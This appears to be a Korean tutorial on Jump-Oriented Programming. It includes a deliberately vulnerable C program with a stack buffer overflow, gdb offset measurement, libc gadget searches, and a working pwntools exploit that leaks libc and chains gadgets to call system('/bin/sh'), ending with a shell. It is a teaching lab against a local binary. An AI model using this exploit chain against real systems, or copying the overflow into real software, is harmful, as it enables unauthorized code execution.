13.JOP(Jump-Oriented Programming)

List

JOP(Jump-Oriented Programming)

- **JOP는 JMP 명령어를 이용하여 프로그램의 흐름을 제어하는 Exploit 기술 입니다.**
- **JOP의 Gadget은 "Exploit에 필요한 코드 + JMP 명령어" 이와 같은 형태이며, 예를 들어 다음과 같은 Gadgets 이 사용됩니다.**
  - x64환경에서 함수의 첫번째 인자 값에 0을 저장 : "mov rdi, 0; jmp [R9]"
  - x64환경에서 함수의 두번째 인자 값에 RSP에 저장된 값을 저장 : "mov rsi, [rsp]; jmp [R9]"
- **JOP는 여러개의 Gadget들을 실행하기 위해 별도의 Gadget과 구조가 필요합니다.**
  - **"Example of JOP"를 이용하여 설명하겟습니다.**
    - JOP Gadget들의 주소 값은 0x1000 ~ 0x1018 영역에 저장되어 있습니다.
    - rdx 레지스터에 "JOP Gadget들이 저장되어 있는 주소 - 8" 값(0x1000)이 저장되어 있습니다.
    - Overflow에 의해 return address 영역에 dispatcher Gadget의 주소를 덮어씁니다.
    - dispatcher Gadget은 다음과 같이 동작합니다.
      - add rdx, 8 명령어에 의해 rdx에 저장된 값(0x1000)에 8을 더합니다.(rdx : 0x1008)
      - jmp [rdx] 명령어에 의해 rdx가 가리키는 영역(0x1008)에 저장된 주소(0xffff0010)로 이동합니다.
    - 0xffff0010 영역의 JOP Gadget은 다음과 같이 동작합니다.
      - mov rax, [rax] 명령어에 의해 rax가 가리키는 영역에 저장된 값을 rax에 저장합니다.
      - jmp rsi 명령어에 의해 dispatcher Gadget 으로 이동합니다.
    - 이러한 형태로 나머지 JOP Gadget들도 실행될 수 있습니다.

Example of JOP

dispatcher Gadget (addr : 0xffff0910)	value of rdx register	JOP Gadget		
add rdx, 8 jmp [rdx]	0x1000	Memory address	Value	Gadget
	value of rsi register	0x1008	0xffff0010	mov rax, [rax] ; jmp rsi ;
	0xffff0910	0x1010	0xffff0710	add rax, [rbx] ; jmp [rdi];
	value of rdi register	0x1018	0xffff0410	mov rdi, [rdx] ; jmp rsi;
	0xffff0910	0x1020	0xffff0510	jmp rax

Jump-Oriented Programming: A New Class of Code-Reuse Attack

- https://www.comp.nus.edu.sg/~liangzk/papers/asiaccs11.pdf
- https://repository.lib.ncsu.edu/bitstream/handle/1840.4/4135/TR-2010-8.pdf

Proof of concept

- 아래 예제 코드는 02.ROP(Return Oriented Programming)-x64 에서 사용한 코드와 동일합니다.

Example code

jop.c

```
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

void vuln(){
    char buf[50];
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 256);
}

void main(){
    seteuid(getuid());
    write(1,"Hello ROP\n",10);
    vuln();
}
```

Build & Permission

Build

```
lazenca0x0@ubuntu:~/Exploit/ROP$ gcc -fno-stack-protector -o jop jop.c -ldl
```

Overflow

- **다음과 같이 Breakpoints를 설정합니다.**
    - 0x400756: vuln 함수 코드 첫부분
    - 0x40079a: read() 함수 호출 전

Breakpoints

```
lazenca0x0@ubuntu:~/Exploit/JOP$ gdb -q ./jop
Reading symbols from ./jop...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x0000000000400756 <+0>:     push   rbp
   0x0000000000400757 <+1>:     mov    rbp,rsp
   0x000000000040075a <+4>:     sub    rsp,0x40
   0x000000000040075e <+8>:     mov    esi,0x400864
   0x0000000000400763 <+13>:     mov    rdi,0xffffffffffffffff
   0x000000000040076a <+20>:     call   0x400630 <dlsym@plt>
   0x000000000040076f <+25>:     mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400773 <+29>:     mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400777 <+33>:     mov    rsi,rax
   0x000000000040077a <+36>:     mov    edi,0x40086b
   0x000000000040077f <+41>:     mov    eax,0x0
   0x0000000000400784 <+46>:     call   0x400600 <printf@plt>
   0x0000000000400789 <+51>:     lea    rax,[rbp-0x40]
   0x000000000040078d <+55>:     mov    edx,0x100
   0x0000000000400792 <+60>:     mov    rsi,rax
   0x0000000000400795 <+63>:     mov    edi,0x0
   0x000000000040079a <+68>:     call   0x400610 <read@plt>
   0x000000000040079f <+73>:     nop
   0x00000000004007a0 <+74>:     leave
   0x00000000004007a1 <+75>:     ret
End of assembler dump.
gdb-peda$ b *0x0000000000400756
Breakpoint 1 at 0x400756
gdb-peda$ b *0x000000000040079a
Breakpoint 2 at 0x40079a
gdb-peda$
```

- **다음과 같이 Overflow를 확인할 수 있습니다.**
  - Return address(0x7fffffffe4a8) - buf 변수의 시작 주소 (0x7fffffffe460) = 72
  - 즉, 72개 이상의 문자를 입력함으로써 Return address 영역을 덮어 쓸 수 있습니다.

Overflow

```
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/JOP/jop
Hello ROP


Breakpoint 1, 0x0000000000400756 in vuln ()
gdb-peda$ i r rsp
rsp            0x7fffffffe4a8        0x7fffffffe4a8
gdb-peda$ x/gx 0x7fffffffe4a8
0x7fffffffe4a8:        0x00000000004007d0
gdb-peda$ c
Continuing.
Printf() address : 0x7ffff785e800


Breakpoint 2, 0x000000000040079a in vuln ()
gdb-peda$ i r rsi
rsi            0x7fffffffe460        0x7fffffffe460
gdb-peda$ p/d 0x7fffffffe4a8 - 0x7fffffffe460
$1 = 72
gdb-peda$
```

Exploit method

- ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.

Exploit 순서

1. system 함수를 이용해 "/bin/sh" 실행

- 이를 코드로 표현하면 다음과 같습니다.

ROP code

system(binsh)

- 다음과 같은 JOP 구조로 Shell을 획득 합니다.
  - ROP Gadget을 이용하여 RAX에 system() 함수의 주소를 저장
  - JOP Gadget을 이용하여 RDI 레지스터에 첫번째 인자값("/bin/sh"의 주소)을 저장 후 "JMP rax" 명령어로 system() 함수 호출

JOP structure

	Value
0x7fffffffe498	Gadget(POP RAX, ret) Address
0x7fffffffe4a0	System function address of libc
0x7fffffffe4a8	Gadget(POP RDI, JMP RAX) Address
0x7fffffffe4b0	First argument value

- payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.

확인해야 할 정보 목록

- "/bin/sh" 문자열이 저장된 영역
- libc offset
  - printf
  - system
- 가젯의 위치
  - POP RAX, ret
  - POP RDI, JMP RAX

Find gadget

- **다음과 같이 rp++ 를 이용해서도 원하는 Gadgets을 찾을 수 있습니다.**
  - 해당 Exploit code에서는 0x33544 영역에 "pop rax ; ret ;" 코드를 사용하겠습니다.

pop rax ; ret ;

```
lazenca0x0@ubuntu:~/Exploit/JOP$ sudo ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 1|grep "pop rax ;
ret"
0x00033544: pop rax ; ret  ;  (1 found)
0x0003a727: pop rax ; ret  ;  (1 found)
0x0003a728: pop rax ; ret  ;  (1 found)
0x0003a7f7: pop rax ; ret  ;  (1 found)
0x0003a7f8: pop rax ; ret  ;  (1 found)
0x0003a8a0: pop rax ; ret  ;  (1 found)
0x0003a8a1: pop rax ; ret  ;  (1 found)
0x000abc07: pop rax ; ret  ;  (1 found)
0x00106272: pop rax ; ret  ;  (1 found)
0x00106273: pop rax ; ret  ;  (1 found)
0x001a1448: pop rax ; ret  ;  (1 found)
0x000caabc: pop rax ; retn 0x002F ;  (1 found)
lazenca0x0@ubuntu:~/Exploit/JOP$
```

pop rdi ; jmp rax ;

```
lazenca0x0@ubuntu:~/Exploit/JOP$ sudo ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 1|grep "pop rdi ;
jmp rax"
0x00104052: pop rdi ; jmp rax ;  (1 found)
lazenca0x0@ubuntu:~/Exploit/JOP$
```

Exploit code

jop.py

```
from pwn import *
from struct import *

#context.log_level = 'debug'

#64bit OS - /lib/x86_64-linux-gnu/libc-2.23.so
libcbase_printf_offset = 0x55800
libcbase_system_offset = 0x45390

binsh_offset = 0x18cd57

pop_rax_ret = 0x33544
pop_rdi_jmp_rax = 0x104052

r = process('./jop')

r.recvn(10)
r.recvuntil('Printf() address : ')
libcbase = int(r.recvuntil('\n'),16)
libcbase -= libcbase_printf_offset

payload = "A"*72
payload += p64(libcbase + pop_rax_ret)
payload += p64(libcbase + libcbase_system_offset)
payload += p64(libcbase + pop_rdi_jmp_rax)
payload += p64(libcbase + binsh_offset)

r.send(payload)

r.interactive()
```

python jop.py

```
lazenca0x0@ubuntu:~/Exploit/JOP$ python jop.py
[+] Starting local process './jop': pid 6105
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$
```

Related site

- http://www.cs.binghamton.edu/~mkayaalp/jop.html
- https://www.comp.nus.edu.sg/~liangzk/papers/asiaccs11.pdf
- https://repository.lib.ncsu.edu/bitstream/handle/1840.4/4135/TR-2010-8.pdf
- https://www.abigale.xin/JOP/